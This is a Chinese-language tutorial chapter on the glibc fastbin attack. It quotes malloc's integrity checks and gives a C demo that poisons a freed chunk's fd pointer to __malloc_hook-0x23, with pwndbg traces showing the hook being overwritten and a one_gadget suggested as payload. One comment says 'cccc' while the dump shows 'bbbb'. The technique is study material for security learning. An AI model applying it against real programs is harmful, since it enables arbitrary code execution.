本文是二進制安全之堆溢出系列的第八章節,主要介紹fast bin attack。
原理
- 從fastbin中分配堆塊的檢測機制
<code>if (__builtin_expect (victim_idx != idx, 0)) //檢查當前所屬idx的size和target的size是否匹配
malloc_printerr ("malloc(): memory corruption (fast)");
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
INTERNAL_SIZE_T sz = chunksize_nomask (p) & ~(PREV_INUSE | NON_MAIN_ARENA);
if (!chunk_is_mmapped (p))
{
assert (av == arena_for_chunk (p));
if (chunk_main_arena (p))
assert (av == &main_arena);
else
assert (av != &main_arena);
}
do_check_inuse_chunk (av, p);
do_check_inuse_chunk檢查previnuse是否為1
chunk_is_mmapped檢查是否是mmap位是否為1,當mmap為1的時候可以跳過此檢查/<code>
Demo
<code>#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
int main(){
int size = 0x60;
char *p = malloc(size);
long __malloc_hook_addr = 0x7ffff7dd1b10;
printf("%p\\n",p);
sleep(0);
free(p);
sleep(0);
printf("%p\\n",p);
*(long*)p = __malloc_hook_addr - 0x23;
sleep(0);
char *q = malloc(size);
printf("%p\\n",q);
sleep(0);
char* r = malloc(size);
printf("%p\\n",r);
sleep(0);
strcpy(r,"aaajunkjunkjunkbbbbcccc"); ///cccc會替換__malloc_hook的內容
malloc(0);
sleep(0);
return 0;
}/<string.h>/<unistd.h>/<malloc.h>/<stdio.h>/<code>
__malloc_hook_addr – 0×23的原因
<code>pwndbg> x/20gz 0x7ffff7dd1b10-0x30
0x7ffff7dd1ae0 <_io_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0 <_io_wide_data_0>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
-----
__malloc_hook_addr - 0x23剛好到0x0000**7f**fff7dd0260
-----
pwndbg> x/20gz 0x7ffff7dd1b10-0x23
0x7ffff7dd1aed <_io_wide_data_0>: 0xfff7dd0260000000 0x000000000000007f
得到一個可以偽造size為0x7f的地址
這時把`0x7ffff7dd1aed作為target_addr,可以繞過之前fastbin的第一項檢測
然後將這塊地址分配出來,然後構造padding,覆蓋__malloc_hook的內容/<code>
0x7f的原因
<code>為了滿足fastbin分配的第一項size的檢查,一般選擇的是6號索引,即malloc(0×60)
由於chunk_is_mmapped檢測的原因,不能用0×71。
0x7f作為內存中地址的高位,而libc的地址就是0x7f開始的,這為fastbin attack提供了便利。
unsorted bin attack可以在unlink的時候將main_arena的地址賦給bk,也可以方便的得到0x7f/<code>
調試
- free p 之後的bins鏈和size位
<code>0x70: 0x602000 ◂— 0x0
0x602000:\t0x0000000000000000\t0x0000000000000071/<code>
寫入target - 0x23的地址
<code>0x602000: 0x0000000000000000 0x0000000000000071
0x602010: 0x00007ffff7dd1aed 0x0000000000000000
0x7ffff7dd1aed <_io_wide_data_0>: 0xfff7dd0260000000 0x000000000000007f
此時的bins鏈
0x70: 0x602000 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000
因為p已經被free,我們再修改它的fd,就會自動鏈接上target/<code>
malloc q 之後的bins鏈和heap
<code>0x602000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7ffff7dd1aed <_io_wide_data_0>,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x70: 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000
此時我們的目標chunk還在bins鏈中,需要再一次malloc出去。/<code>
malloc r之後的bins鏈和heap
<code>0x602000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7ffff7dd1aed <_io_wide_data_0>,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x70: 0xfff7a92e20000000
此時,0x7ffff7dd1aed這個堆塊已經被malloc出去了,即作為r的堆塊
此時,__malloc_hook的內容
pwndbg> x/20gz 0x00007ffff7dd1aed+0x23
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000/<code>
strcpy r之後__malloc_hook被覆蓋為”cccc”
<code>pwndbg> x/20gz 0x00007ffff7dd1aed+0x23 //精準填充
0x7ffff7dd1b10 <__malloc_hook>:\t0x0000000062626262\t0x0000000000000000
利用的時候將cccc,替換為onegadget的地址
one_gadget /lib/x86_64-linux-gnu/libc-2.23.so/<code>
閱讀更多 知了堂 的文章
關鍵字: 0x7ffff7dd1b10 0x7ffff7dd1aed sleep